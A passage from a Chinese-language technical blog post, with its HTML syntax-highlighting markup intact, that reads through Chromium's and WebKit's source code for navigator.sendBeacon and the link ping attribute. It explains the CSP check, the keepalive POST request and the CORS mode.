V8UnionReadableStreamOrXMLHttpRequestBodyInit<span class="token operator">*</span> data<span class="token punctuation">,</span>    ExceptionState<span class="token operator">&amp;</span> exception_state<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  ExecutionContext<span class="token operator">*</span> execution_context <span class="token operator">=</span> ExecutionContext<span class="token operator">::</span><span class="token function">From</span><span class="token punctuation">(</span>script_state<span class="token punctuation">)</span><span class="token punctuation">;</span>  KURL url <span class="token operator">=</span> execution_context<span class="token operator">-></span><span class="token function">CompleteURL</span><span class="token punctuation">(</span>url_string<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">CanSendBeacon</span><span class="token punctuation">(</span>execution_context<span class="token punctuation">,</span> url<span class="token punctuation">,</span> exception_state<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> false<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  bool allowed<span class="token punctuation">;</span>  LocalFrame<span class="token operator">*</span> frame <span class="token operator">=</span> <span class="token function">GetSupplementable</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">GetFrame</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>data<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">switch</span> <span class="token punctuation">(</span>data<span class="token operator">-></span><span class="token function">GetContentType</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token comment">// [...]</span>      <span class="token keyword">case</span> V8UnionReadableStreamOrXMLHttpRequestBodyInit<span class="token operator">::</span>ContentType<span class="token operator">::</span>          kUSVString<span class="token operator">:</span>        UseCounter<span class="token operator">::</span><span class="token function">Count</span><span class="token punctuation">(</span>execution_context<span class="token punctuation">,</span>                          WebFeature<span class="token operator">::</span>kSendBeaconWithUSVString<span class="token punctuation">)</span><span class="token punctuation">;</span>        allowed <span class="token operator">=</span> PingLoader<span class="token operator">::</span><span class="token function">SendBeacon</span><span class="token punctuation">(</span><span class="token operator">*</span>script_state<span class="token punctuation">,</span> frame<span class="token punctuation">,</span> url<span class="token punctuation">,</span>                                         data<span class="token operator">-></span><span class="token function">GetAsUSVString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    allowed <span class="token operator">=</span> PingLoader<span class="token operator">::</span><span class="token function">SendBeacon</span><span class="token punctuation">(</span><span class="token operator">*</span>script_state<span class="token punctuation">,</span> frame<span class="token punctuation">,</span> url<span class="token punctuation">,</span> <span class="token function">String</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>allowed<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    UseCounter<span class="token operator">::</span><span class="token function">Count</span><span class="token punctuation">(</span>execution_context<span class="token punctuation">,</span> WebFeature<span class="token operator">::</span>kSendBeaconQuotaExceeded<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> allowed<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>開頭的 <code>CanSendBeacon</code> 基本上就是檢查 URL 是否合法而已，合法的話繼續往下走，會判斷要送出的 payload 的 content type，而實際送出是在 <code>PingLoader::SendBeacon</code> 這個方法裡面。</p><p>除此之外可以在程式碼裡面看到 <code>UseCounter::Count</code>，這個是 Chromium 用來追蹤某些功能的使用頻率時會用到的。</p><p><code>PingLoader::SendBeacon</code> 的實作在 <a href="https://source.chromium.org/chromium/chromium/src/+/refs/tags/131.0.6778.205:third_party/blink/renderer/core/loader/ping_loader.cc">third_party&#x2F;blink&#x2F;renderer&#x2F;core&#x2F;loader&#x2F;ping_loader.cc</a>：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">bool <span class="token function">SendBeaconCommon</span><span class="token punctuation">(</span><span class="token keyword">const</span> ScriptState<span class="token operator">&amp;</span> state<span class="token punctuation">,</span>                      LocalFrame<span class="token operator">*</span> frame<span class="token punctuation">,</span>                      <span class="token keyword">const</span> KURL<span class="token operator">&amp;</span> url<span class="token punctuation">,</span>                      <span class="token keyword">const</span> BeaconData<span class="token operator">&amp;</span> beacon<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span>           <span class="token operator">-></span><span class="token function">GetContentSecurityPolicyForWorld</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>state<span class="token punctuation">.</span><span class="token function">World</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>           <span class="token operator">-></span><span class="token function">AllowConnectToSource</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> url<span class="token punctuation">,</span> RedirectStatus<span class="token operator">::</span>kNoRedirect<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// We're simulating a network failure here, so we return 'true'.</span>    <span class="token keyword">return</span> true<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  ResourceRequest <span class="token function">request</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpMethod</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kPOST<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetKeepalive</span><span class="token punctuation">(</span>true<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetRequestContext</span><span class="token punctuation">(</span>mojom<span class="token operator">::</span>blink<span class="token operator">::</span>RequestContextType<span class="token operator">::</span>BEACON<span class="token punctuation">)</span><span class="token punctuation">;</span>  beacon<span class="token punctuation">.</span><span class="token function">Serialize</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchParameters <span class="token function">params</span><span class="token punctuation">(</span>std<span class="token operator">::</span><span class="token function">move</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span>                         <span class="token function">ResourceLoaderOptions</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>state<span class="token punctuation">.</span><span class="token function">World</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// The spec says:</span>  <span class="token comment">//  - If mimeType is not null:</span>  <span class="token comment">//   - If mimeType value is a CORS-safelisted request-header value for the</span>  <span class="token comment">//     Content-Type header, set corsMode to "no-cors".</span>  <span class="token comment">// As we don't support requests with non CORS-safelisted Content-Type, the</span>  <span class="token comment">// mode should always be "no-cors".</span>  params<span class="token punctuation">.</span><span class="token function">MutableOptions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>initiator_info<span class="token punctuation">.</span>name <span class="token operator">=</span>      fetch_initiator_type_names<span class="token operator">::</span>kBeacon<span class="token punctuation">;</span>  frame<span class="token operator">-></span><span class="token function">Client</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">DidDispatchPingLoader</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchUtils<span class="token operator">::</span><span class="token function">LogFetchKeepAliveRequestMetric</span><span class="token punctuation">(</span>      params<span class="token punctuation">.</span><span class="token function">GetResourceRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetRequestContext</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      FetchUtils<span class="token operator">::</span>FetchKeepAliveRequestState<span class="token operator">::</span>kTotal<span class="token punctuation">)</span><span class="token punctuation">;</span>  Resource<span class="token operator">*</span> resource <span class="token operator">=</span>      RawResource<span class="token operator">::</span><span class="token function">Fetch</span><span class="token punctuation">(</span>params<span class="token punctuation">,</span> frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Fetcher</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> nullptr<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> resource<span class="token operator">-></span><span class="token function">GetStatus</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!=</span> ResourceStatus<span class="token operator">::</span>kLoadError<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>開頭先檢查是否違反 CSP，如果沒有違反，就送出一個 keepalive 的請求，然後回傳是否成功。</p><p>值得注意的是在同個檔案中，也有另一個功能做了類似的事情，叫做 <code>PingLoader::SendLinkAuditPing</code>。在 <code>&lt;a&gt;</code> 標籤上有個屬性叫做 <code>ping</code>，當使用者點了連結，瀏覽器就會發送一個請求到 ping 所指定的位置：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span>  <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://example.com<span class="token punctuation">"</span></span>  <span class="token attr-name">ping</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://blog.huli.tw<span class="token punctuation">"</span></span>  <span class="token punctuation">></span></span>click me<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>這背後一樣是用 keepalive 的 fetch 來實作的：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">void</span> PingLoader<span class="token operator">::</span><span class="token function">SendLinkAuditPing</span><span class="token punctuation">(</span>LocalFrame<span class="token operator">*</span> frame<span class="token punctuation">,</span>                                   <span class="token keyword">const</span> KURL<span class="token operator">&amp;</span> ping_url<span class="token punctuation">,</span>                                   <span class="token keyword">const</span> KURL<span class="token operator">&amp;</span> destination_url<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>ping_url<span class="token punctuation">.</span><span class="token function">ProtocolIsInHTTPFamily</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">return</span><span class="token punctuation">;</span>  ResourceRequest <span class="token function">request</span><span class="token punctuation">(</span>ping_url<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpMethod</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kPOST<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHTTPContentType</span><span class="token punctuation">(</span><span class="token function">AtomicString</span><span class="token punctuation">(</span><span class="token string">"text/ping"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpBody</span><span class="token punctuation">(</span>EncodedFormData<span class="token operator">::</span><span class="token function">Create</span><span class="token punctuation">(</span>base<span class="token operator">::</span><span class="token function">span_from_cstring</span><span class="token punctuation">(</span><span class="token string">"PING"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpHeaderField</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kCacheControl<span class="token punctuation">,</span>                             <span class="token function">AtomicString</span><span class="token punctuation">(</span><span class="token string">"max-age=0"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpHeaderField</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kPingTo<span class="token punctuation">,</span>                             <span class="token function">AtomicString</span><span class="token punctuation">(</span>destination_url<span class="token punctuation">.</span><span class="token function">GetString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  scoped_refptr<span class="token operator">&lt;</span><span class="token keyword">const</span> SecurityOrigin<span class="token operator">></span> ping_origin <span class="token operator">=</span>      SecurityOrigin<span class="token operator">::</span><span class="token function">Create</span><span class="token punctuation">(</span>ping_url<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">ProtocolIs</span><span class="token punctuation">(</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">"http"</span><span class="token punctuation">)</span> <span class="token operator">||</span>      frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">GetSecurityOrigin</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">CanAccess</span><span class="token punctuation">(</span>ping_origin<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    request<span class="token punctuation">.</span><span class="token function">SetHttpHeaderField</span><span class="token punctuation">(</span>        http_names<span class="token operator">::</span>kPingFrom<span class="token punctuation">,</span>        <span class="token function">AtomicString</span><span class="token punctuation">(</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  request<span class="token punctuation">.</span><span class="token function">SetKeepalive</span><span class="token punctuation">(</span>true<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetReferrerString</span><span class="token punctuation">(</span>Referrer<span class="token operator">::</span><span class="token function">NoReferrer</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetReferrerPolicy</span><span class="token punctuation">(</span>network<span class="token operator">::</span>mojom<span class="token operator">::</span>ReferrerPolicy<span class="token operator">::</span>kNever<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetRequestContext</span><span class="token punctuation">(</span>mojom<span class="token operator">::</span>blink<span class="token operator">::</span>RequestContextType<span class="token operator">::</span>PING<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchParameters <span class="token function">params</span><span class="token punctuation">(</span>      std<span class="token operator">::</span><span class="token function">move</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span>      <span class="token function">ResourceLoaderOptions</span><span class="token punctuation">(</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">GetCurrentWorld</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  params<span class="token punctuation">.</span><span class="token function">MutableOptions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>initiator_info<span class="token punctuation">.</span>name <span class="token operator">=</span>      fetch_initiator_type_names<span class="token operator">::</span>kPing<span class="token punctuation">;</span>  frame<span class="token operator">-></span><span class="token function">Client</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">DidDispatchPingLoader</span><span class="token punctuation">(</span>ping_url<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchUtils<span class="token operator">::</span><span class="token function">LogFetchKeepAliveRequestMetric</span><span class="token punctuation">(</span>      params<span class="token punctuation">.</span><span class="token function">GetResourceRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetRequestContext</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      FetchUtils<span class="token operator">::</span>FetchKeepAliveRequestState<span class="token operator">::</span>kTotal<span class="token punctuation">)</span><span class="token punctuation">;</span>  RawResource<span class="token operator">::</span><span class="token function">Fetch</span><span class="token punctuation">(</span>params<span class="token punctuation">,</span> frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Fetcher</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> nullptr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="safari-的-sendbeacon-實作">Safari 的 sendBeacon 實作</span></h3><p>Safari 的實作在 <a href="https://github.com/WebKit/WebKit/blob/WebKit-7620.1.16.111.5/Source/WebCore/Modules/beacon/NavigatorBeacon.cpp">WebKit&#x2F;Source&#x2F;WebCore&#x2F;Modules&#x2F;beacon<br>&#x2F;NavigatorBeacon.cpp</a>：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">ExceptionOr<span class="token operator">&lt;</span><span class="token keyword">bool</span><span class="token operator">></span> <span class="token class-name">NavigatorBeacon</span><span class="token double-colon punctuation">::</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span>Document<span class="token operator">&amp;</span> document<span class="token punctuation">,</span> <span class="token keyword">const</span> String<span class="token operator">&amp;</span> url<span class="token punctuation">,</span> std<span class="token double-colon punctuation">::</span>optional<span class="token operator">&lt;</span>FetchBody<span class="token double-colon punctuation">::</span>Init<span class="token operator">></span><span class="token operator">&amp;&amp;</span> body<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    URL parsedUrl <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">completeURL</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// Set parsedUrl to the result of the URL parser steps with url and base. If the algorithm returns an error, or if</span>    <span class="token comment">// parsedUrl's scheme is not "http" or "https", throw a "TypeError" exception and terminate these steps.</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>parsedUrl<span class="token punctuation">.</span><span class="token function">isValid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> Exception <span class="token punctuation">&#123;</span> ExceptionCode<span class="token double-colon punctuation">::</span>TypeError<span class="token punctuation">,</span> <span class="token string">"This URL is invalid"</span>_s <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>parsedUrl<span class="token punctuation">.</span><span class="token function">protocolIsInHTTPFamily</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> Exception <span class="token punctuation">&#123;</span> ExceptionCode<span class="token double-colon punctuation">::</span>TypeError<span class="token punctuation">,</span> <span class="token string">"Beacons can only be sent over HTTP(S)"</span>_s <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>document<span class="token punctuation">.</span><span class="token function">frame</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>document<span class="token punctuation">.</span><span class="token function">shouldBypassMainWorldContentSecurityPolicy</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span>document<span class="token punctuation">.</span><span class="token function">checkedContentSecurityPolicy</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">allowConnectToSource</span><span class="token punctuation">(</span>parsedUrl<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token comment">// We simulate a network error so we return true here. This is consistent with Blink.</span>        <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    ResourceRequest <span class="token function">request</span><span class="token punctuation">(</span>parsedUrl<span class="token punctuation">)</span><span class="token punctuation">;</span>    request<span class="token punctuation">.</span><span class="token function">setHTTPMethod</span><span class="token punctuation">(</span><span class="token string">"POST"</span>_s<span class="token punctuation">)</span><span class="token punctuation">;</span>    request<span class="token punctuation">.</span><span class="token function">setRequester</span><span class="token punctuation">(</span>ResourceRequestRequester<span class="token double-colon punctuation">::</span>Beacon<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>RefPtr documentLoader <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">loader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        request<span class="token punctuation">.</span><span class="token function">setIsAppInitiated</span><span class="token punctuation">(</span>documentLoader<span class="token operator">-></span><span class="token function">lastNavigationWasAppInitiated</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    ResourceLoaderOptions options<span class="token punctuation">;</span>    options<span class="token punctuation">.</span>credentials <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Credentials<span class="token double-colon punctuation">::</span>Include<span class="token punctuation">;</span>    options<span class="token punctuation">.</span>cache <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Cache<span class="token double-colon punctuation">::</span>NoCache<span class="token punctuation">;</span>    options<span class="token punctuation">.</span>keepAlive <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>    options<span class="token punctuation">.</span>sendLoadCallbacks <span class="token operator">=</span> SendCallbackPolicy<span class="token double-colon punctuation">::</span>SendCallbacks<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>body<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        options<span class="token punctuation">.</span>mode <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Mode<span class="token double-colon punctuation">::</span>NoCors<span class="token punctuation">;</span>        String mimeType<span class="token punctuation">;</span>        <span class="token keyword">auto</span> result <span class="token operator">=</span> <span class="token class-name">FetchBody</span><span class="token double-colon punctuation">::</span><span class="token function">extract</span><span class="token punctuation">(</span><span class="token function">WTFMove</span><span class="token punctuation">(</span>body<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> mimeType<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>result<span class="token punctuation">.</span><span class="token function">hasException</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">return</span> result<span class="token punctuation">.</span><span class="token function">releaseException</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">auto</span> fetchBody <span class="token operator">=</span> result<span class="token punctuation">.</span><span class="token function">releaseReturnValue</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>fetchBody<span class="token punctuation">.</span><span class="token function">isReadableStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">return</span> Exception <span class="token punctuation">&#123;</span> ExceptionCode<span class="token double-colon punctuation">::</span>TypeError<span class="token punctuation">,</span> <span class="token string">"Beacons cannot send ReadableStream body"</span>_s <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        request<span class="token punctuation">.</span><span class="token function">setHTTPBody</span><span class="token punctuation">(</span>fetchBody<span class="token punctuation">.</span><span class="token function">bodyAsFormData</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>mimeType<span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            request<span class="token punctuation">.</span><span class="token function">setHTTPContentType</span><span class="token punctuation">(</span>mimeType<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isCrossOriginSafeRequestHeader</span><span class="token punctuation">(</span>HTTPHeaderName<span class="token double-colon punctuation">::</span>ContentType<span class="token punctuation">,</span> mimeType<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                options<span class="token punctuation">.</span>mode <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Mode<span class="token double-colon punctuation">::</span>Cors<span class="token punctuation">;</span>                options<span class="token punctuation">.</span>httpHeadersToKeep<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>HTTPHeadersToKeepFromCleaning<span class="token double-colon punctuation">::</span>ContentType<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">auto</span> cachedResource <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">protectedCachedResourceLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">requestBeaconResource</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token function">WTFMove</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span> options <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>cachedResource<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">logError</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">ASSERT</span><span class="token punctuation">(</span><span class="token operator">!</span>m_inflightBeacons<span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    m_inflightBeacons<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    cachedResource<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">addClient</span><span class="token punctuation">(</span><span class="token operator">*</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" 